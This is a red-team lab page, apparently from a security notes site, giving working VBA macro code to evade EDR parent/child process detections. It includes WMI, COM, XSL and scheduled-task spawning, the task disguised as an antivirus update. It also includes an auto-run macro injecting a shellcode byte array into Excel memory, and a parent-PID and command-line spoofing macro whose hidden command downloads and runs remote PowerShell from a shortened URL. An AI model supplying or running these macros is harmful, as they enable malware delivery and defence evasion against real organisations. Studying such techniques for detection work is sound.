Bypassing Parent Child / Ancestry Detections
Defenders often engineer detections based on parent/child process relationships - i.e Excel spawns powershell - suspicious.
This lab is mostly based on the techniques discussed on https://www.countercept.com/blog/dechaining-macros-and-evading-edr/
Below are some techniques showing how those type of detections could be bypassed.

Spawning via WmiPrvse.exe using wmi

macro.vba
1
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
2
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
3
Set objConfig = objStartup.SpawnInstance_
4
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
5
errReturn = objProcess.Create("calc", Null, objConfig, intProcessID)
Copied!

Spawning via ShellCOM

macro.vba
1
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
2
obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0
Copied!

Spawning via svchost.exe using XMLDOM

xmldom.vba
bad.xsl
1
Set xml = CreateObject("Microsoft.XMLDOM")
2
xml.async = False
3
Set xsl = xml
4
xsl.load("file://|http://bad.xsl")
5
xml.transformNode xsl
Copied!
1
<?xml version='1.0'?>
2
<stylesheet
3
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
4
xmlns:user="placeholder"
5
version="1.0">
6
<output method="text"/>
7
<ms:script implements-prefix="user" language="JScript">
8
<![CDATA[
9
var r = new ActiveXObject("WScript.Shell").Run("calc");
10
]]> </ms:script>
11
</stylesheet>
Copied!

Spawning via svchost.exe using Scheduled Task

macro.vba
1
Set service = CreateObject("Schedule.Service")
2
Call service.Connect
3
Dim td: Set td = service.NewTask(0)
4
td.RegistrationInfo.Author = "Kaspersky Corporation"
5
td.settings.StartWhenAvailable = True
6
td.settings.Hidden = False
7
Dim triggers: Set triggers = td.triggers
8
Dim trigger: Set trigger = triggers.Create(1)
9
Dim startTime: ts = DateAdd("s", 30, Now)
10
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
11
trigger.StartBoundary = startTime
12
trigger.ID = "TimeTriggerId"
13
Dim Action: Set Action = td.Actions.Create(0)
14
Action.Path = "C:\Windows\System32\cmd.exe"
15
'Action.Arguments = "/c whoami"
16
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)
Copied!

Shellcode Injection to Excel.exe Memory Using Windows APIs

1
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
2
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
3
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
4
Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
5
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
6
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long
7
8
Sub Auto_Open()
9
Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
10
#If Vba7 Then
11
Dim Xlbufvetp As LongPtr
12
#Else
13
Dim Xlbufvetp As Long
14
#EndIf
15
Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
16
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
17
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
18
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
19
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
20
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
21
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
22
235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _
23
224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _
24
187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)
25
Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
26
For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
27
Wyzayxya = Hyeyhafxp(Zolde)
28
Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
29
Next Zolde
30
Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
31
End Sub
Copied!
TCP session from Excel.exe

Parent Process ID Spoofing

With this technique it is possible to specify the PID under which our process will be launched as well as process commandline arguments can be spoofed. Note that this is the same technique Cobalt Strike uses under the hood in its argue module:
1
' code from https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
2
' Windows API constants
3
4
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
5
Const HEAP_ZERO_MEMORY = &H8&
6
Const SW_HIDE = &H0&
7
Const PROCESS_ALL_ACCESS = &H1F0FFF
8
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000
9
Const TH32CS_SNAPPROCESS = &H2&
10
Const MAX_PATH = 260
11
12
13
'''''''''''''''''''''''''''''''''''''''''''''''''''
14
''''''''''''''' Data types ''''''''''''''''''''''''
15
'''''''''''''''''''''''''''''''''''''''''''''''''''
16
17
18
19
Private Type PROCESS_INFORMATION
20
hProcess As LongPtr
21
hThread As LongPtr
22
dwProcessId As Long
23
dwThreadId As Long
24
End Type
25
26
27
Private Type STARTUP_INFO
28
cb As Long
29
lpReserved As String
30
lpDesktop As String
31
lpTitle As String
32
dwX As Long
33
dwY As Long
34
dwXSize As Long
35
dwYSize As Long
36
dwXCountChars As Long
37
dwYCountChars As Long
38
dwFillAttribute As Long
39
dwFlags As Long
40
wShowWindow As Integer
41
cbReserved2 As Integer
42
lpReserved2 As Byte
43
hStdInput As LongPtr
44
hStdOutput As LongPtr
45
hStdError As LongPtr
46
End Type
47
48
Private Type STARTUPINFOEX
49
STARTUPINFO As STARTUP_INFO
50
lpAttributelist As LongPtr
51
End Type
52
53
' from https://codes-sources.commentcamarche.net/source/42365-affinite-des-processus-et-des-threads
54
Private Type PROCESS_BASIC_INFORMATION
55
ExitStatus As Long
56
PEBBaseAddress As Long
57
AffinityMask As Long
58
BasePriority As Long
59
UniqueProcessId As Long
60
ParentProcessId As Long
61
End Type
62
63
64
Private Declare Function NtQueryInformationProcess Lib "ntdll.dll" ( _
65
ByVal processHandle As LongPtr, _
66
ByVal processInformationClass As Long, _
67
ByRef processInformation As PROCESS_BASIC_INFORMATION, _
68
ByVal processInformationLength As Long, _
69
ByRef returnLength As Long _
70
) As Integer
71
72
73
' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/
74
Private Type PEB
75
Reserved1(1) As Byte
76
BeingDebugged As Byte
77
Reserved2 As Byte
78
Reserved3(1) As Long
79
Ldr As Long
80
ProcessParameters As Long
81
Reserved4(103) As Byte
82
Reserved5(51) As Long
83
PostProcessInitRoutine As Long
84
Reserved6(127) As Byte
85
Reserved7 As Long
86
SessionId As Long
87
End Type
88
89
90
Private Type UNICODE_STRING
91
Length As Integer
92
MaximumLength As Integer
93
Buffer As Long
94
' to change ^ to Long
95
End Type
96
97
Private Type RTL_USER_PROCESS_PARAMETERS
98
Reserved1(15) As Byte
99
Reserved2(9) As Long
100
ImagePathName As UNICODE_STRING
101
CommandLine As UNICODE_STRING
102
End Type
103
104
105
Private Type PROCESSENTRY32
106
dwSize As Long
107
cntUsage As Long
108
th32ProcessID As Long
109
th32DefaultHeapID As Long
110
th32ModuleID As Long
111
cntThreads As Long
112
th32ParentProcessID As Long
113
pcPriClassBase As Long
114
dwFlags As Long
115
szexeFile As String * MAX_PATH
116
End Type
117
118
119
'''''''''''''''''''''''''''''''''''''''''''''''''''''
120
''''''''''''' kernel32 & ntdll bindings '''''''''''''
121
'''''''''''''''''''''''''''''''''''''''''''''''''''''
122
123
Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
124
ByVal lpApplicationName As String, _
125
ByVal lpCommandLine As String, _
126
lpProcessAttributes As Long, _
127
lpThreadAttributes As Long, _
128
ByVal bInheritHandles As Long, _
129
ByVal dwCreationFlags As Long, _
130
lpEnvironment As Any, _
131
ByVal lpCurrentDriectory As String, _
132
ByVal lpStartupInfo As LongPtr, _
133
lpProcessInformation As PROCESS_INFORMATION _
134
) As Long
135
136
137
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
138
ByVal dwAccess As Long, _
139
ByVal fInherit As Integer, _
140
ByVal hObject As Long _
141
) As Long
142
143
144
Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
145
ByVal hHeap As LongPtr, _
146
ByVal dwFlags As Long, _
147
ByVal dwBytes As Long _
148
) As LongPtr
149
150
151
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr
152
153
154
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
155
ByVal lpAttributelist As LongPtr, _
156
ByVal dwAttributeCount As Integer, _
157
ByVal dwFlags As Integer, _
158
ByRef lpSize As Integer _
159
) As Boolean
160
161
162
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
163
ByVal lpAttributelist As LongPtr, _
164
ByVal dwFlags As Integer, _
165
ByVal lpAttribute As Long, _
166
ByRef lpValue As Long, _
167
ByVal cbSize As Integer, _
168
ByRef lpPreviousValue As Integer, _
169
ByRef lpReturnSize As Integer _
170
) As Boolean
171
172
Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
173
ByVal dwFlags As Integer, _
174
ByVal th32ProcessID As Integer _
175
) As Long
176
177
Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
178
ByVal hSnapshot As LongPtr, _
179
ByRef lppe As PROCESSENTRY32 _
180
) As Boolean
181
182
Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
183
ByVal hSnapshot As LongPtr, _
184
ByRef lppe As PROCESSENTRY32 _
185
) As Boolean
186
187
188
Private Declare Function ReadProcessMemory Lib "kernel32.dll" ( _
189
ByVal hProcess As LongPtr, _
190
ByVal lpBaseAddress As LongPtr, _
191
ByVal lpBuffer As LongPtr, _
192
ByVal nSize As Long, _
193
ByRef lpNumberOfBytesRead As Long _
194
) As Boolean
195
196
Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
197
ByVal hProcess As LongPtr, _
198
ByVal lpBaseAddress As Long, _
199
ByVal lpBuffer As Any, _
200
ByVal nSize As Long, _
201
ByRef lpNumberOfBytesWritten As Long _
202
) As Boolean
203
204
205
Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long
206
207
208
'''''''''''''''''''''''''''''''''''''''''''''''
209
'''''''''''''' Utility functions ''''''''''''''
210
'''''''''''''''''''''''''''''''''''''''''''''''
211
212
' Finds the PID of a process given its name
213
Public Function getPidByName(ByVal name As String) As Integer
214
Dim pEntry As PROCESSENTRY32
215
Dim continueSearching As Boolean
216
pEntry.dwSize = Len(pEntry)
217
Dim snapshot As LongPtr
218
219
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)
220
221
continueSearching = Process32First(snapshot, pEntry)
222
223
Do
224
If Left$(pEntry.szexeFile, Len(name)) = LCase$(name) Then
225
getPidByName = pEntry.th32ProcessID
226
continueSearching = False
227
Else
228
continueSearching = Process32Next(snapshot, pEntry)
229
End If
230
Loop While continueSearching
231
End Function
232
233
Public Function convertStr(ByVal str As String) As Byte()
234
Dim i, j As Integer
235
Dim result(400) As Byte
236
j = 0
237
For i = 1 To Len(str):
238
result(j) = Asc(Mid(str, i, 1))
239
result(j + 1) = &H0
240
j = j + 2
241
Next
242
243
convertStr = result
244
245
End Function
246
247
Sub AutoOpen()
248
Dim pi As PROCESS_INFORMATION
249
Dim si As STARTUPINFOEX
250
Dim nullStr As String
251
Dim pid, result As Integer
252
Dim threadAttribSize As Integer
253
Dim parentHandle As LongPtr
254
Dim originalCli As String
255
256
originalCli = "powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName"
257
258
' Get a handle on the process to be used as a parent
259
pid = getPidByName("explorer.exe")
260
parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
261
262
' Initialize process attribute list
263
result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
264
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
265
result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
266
267
' Set the parent to be our previous handle
268
result = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&)
269
270
' Set the size of cb (see https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarks)
271
si.STARTUPINFO.cb = LenB(si)
272
273
' Hide new process window
274
si.STARTUPINFO.dwFlags = 1
275
si.STARTUPINFO.wShowWindow = SW_HIDE
276
277
result = CreateProcess( _
278
nullStr, _
279
originalCli, _
280
ByVal 0&, _
281
ByVal 0&, _
282
1&, _
283
&H80014, _
284
ByVal 0&, _
285
nullStr, _
286
VarPtr(si), _
287
pi _
288
)
289
290
' Spoofing of cli arguments
291
Dim size As Long
292
Dim PEB As PEB
293
Dim pbi As PROCESS_BASIC_INFORMATION
294
Dim newProcessHandle As LongPtr
295
Dim success As Boolean
296
Dim parameters As RTL_USER_PROCESS_PARAMETERS
297
Dim cmdStr As String
298
Dim cmd() As Byte
299
300
newProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId)
301
result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size)
302
success = ReadProcessMemory(newProcessHandle, pbi.PEBBaseAddress, VarPtr(PEB), Len(PEB), size)
303
' peb.ProcessParameters now contains the address to the parameters - read them
304
success = ReadProcessMemory(newProcessHandle, PEB.ProcessParameters, VarPtr(parameters), Len(parameters), size)
305
306
cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h')) # "
307
cmd = convertStr(cmdStr)
308
success = WriteProcessMemory(newProcessHandle, parameters.CommandLine.Buffer, StrPtr(cmd), 2 * Len(cmdStr), size)
309
ResumeThread (pi.hThread)
310
End Sub
Copied!

References

Dechaining Macros and Evading EDR - F-Secure Blog
F-Secure Blog
Excel Exercises in Style
Didier Stevens
Direct shellcode execution in MS Office macros
Thoughts on Security
Shellcode 2 VBScript
Didier Stevens
Building an Office macro to spoof parent processes and command line arguments - Christophe Tafani-Dereeper
Christophe Tafani-Dereeper
Last modified 1yr ago